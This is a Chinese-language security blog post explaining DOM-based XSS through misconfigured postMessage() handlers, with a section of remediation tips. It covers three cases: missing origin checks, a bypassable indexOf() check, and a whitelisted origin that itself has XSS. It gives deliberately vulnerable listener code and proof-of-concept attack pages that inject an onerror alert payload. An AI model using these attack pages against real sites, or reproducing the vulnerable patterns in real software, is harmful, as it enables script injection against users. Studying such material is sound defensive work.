利用错误配置的postMessage()函数实现基于DOM的XSS攻击

本文详细分析了postMessage函数错误配置导致的DOM型XSS漏洞,通过三个具体场景展示攻击原理和利用方法,包括无源验证、indexOf()验证缺陷和白名单域名存在XSS漏洞等情况,并提供了相应的修复建议。

利用错误配置的postMessage()函数实现基于DOM的XSS攻击

今天我们将讨论如何通过错误配置的postMessage函数利用基于DOM的XSS漏洞。两个站点只有在具有相同协议、主机名和端口时才能相互通信。

如果两个站点不具备上述相似属性,将触发同源策略。

有几种方法可以绕过同源策略,其中之一就是postMessage函数。postMessage方法安全地实现了Window对象之间的跨源通信。postMessage使用两种方法在窗口之间进行交叉通信:

  • window.addEventListener
  • postMessage()

以下是postMessage()函数配置错误并容易受到基于DOM的XSS攻击的不同场景。

场景1:无源验证检查

在此场景中,没有源检查/验证,这意味着应用程序将接收来自任何使用postMessage()函数的域的消息。

易受攻击的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<html>
<head>
    <title>XSS_ME_</title>
</head>
<script>
    window.addEventListener('message', function(e) {
        document.getElementById('s').innerHTML = e.data.s;
    })
</script>
<form>
    <h3 id="s">Postmessage XSS</h3>
    <input type=text>
    <input type="button" value="Click">
</form>
</body>
</html>

从代码片段可以看出,没有实现源验证。

在此场景中,攻击者利用postMessage()函数构建攻击代码,实现跨源通信,从而能够将XSS有效载荷传递到受害者/主应用程序中。

攻击代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<html>
<body>
    <input type=button value="Click Me" id="btn">
</body>
<script>
    document.getElementById('btn').onclick = function(e){
        window.poc = window.open('http://begbounty.xyz/postmessage1.html');
        setTimeout(function(){
            window.poc.postMessage(
                {
                    "s": "<img src=x onerror=alert(1);>",
                },
                '*'
            );
        }, 2000);
    }
</script>
</html>

场景2:应用程序使用indexOf()函数进行源验证

在此场景中,应用程序使用indexOf()函数进行源验证。该函数检查白名单域是否包含在源中。使用indexOf()函数进行源验证是不良实践,因为可以通过创建以indexOf()函数中给定字符串开头的子域来绕过此验证。

易受攻击的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
    <title>XSS_ME_</title>
</head>
<script>
    window.addEventListener('message', function(e) {
        if(e.origin.indexOf("begbounty.xyz") > 0){
            document.getElementById('s').innerHTML = e.data.s;
        }
    });
</script>
<body>
    <div class="container">
        <form>
            <h3 id="s">Postmessage XSS</h3>
            <input type=text>
            <input type="button" value="hehe!">
        </form>
    </div>
</body>
</html>

从上述代码可以看出,应用程序使用indexOf()函数进行源验证: (e.origin.indexOf("begbounty.xyz") > 0)

为了利用此错误配置,我创建了一个子域来托管攻击代码: https://begbounty.xyz.x3b.in/index.html

攻击代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<html>
<body>
    <input type=button value="Click Me" id="btn">
</body>
<script>
    document.getElementById('btn').onclick = function(e){
        window.poc = window.open('http://begbounty.xyz/postmessage2.html');
        setTimeout(function(){
            window.poc.postMessage(
                {
                    "s": "<img src=x onerror=alert(1);>",
                },
                '*'
            );
        },2000);
    }
</script>
</html>

场景3:白名单源/域存在反射/存储型XSS漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
    <title>XSS_ME_</title>
</head>
<script>
    window.addEventListener('message', function(e) {
        if (e.origin == "http://149.28.205.217:8083") {
            document.getElementById('s').innerHTML = e.data.s;
        }
    });
</script>
<body>
    <div class="container">
        <form>
            <h3 id="s">Postmessage XSS</h3>
            <input type=text>
            <input type="button" value="hehe!">
        </form>
    </div>
</body>
</html>

从上述代码片段可以看出,addEventListener()正在验证协议、主机名/IP和端口号。这意味着该函数将接收来自http://149.28.205.217:8083的消息。

如果http://149.28.205.217:8083存在存储/反射型XSS漏洞怎么办?

由于它存在反射型XSS漏洞,我们可以利用此漏洞注入postMessage()攻击代码。

修复方案

  • 在window.addEventListener函数中白名单源
  • 白名单域时使用适当的正则表达式
  • 在将域/主机白名单添加到函数之前,对所有页面执行跨站脚本相关的测试用例

感谢阅读本博客。特别感谢Paresh Parmar。

如果您对博客文章有任何疑问,请随时通过https://twitter.com/armaancrockroax?lang=en联系我。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计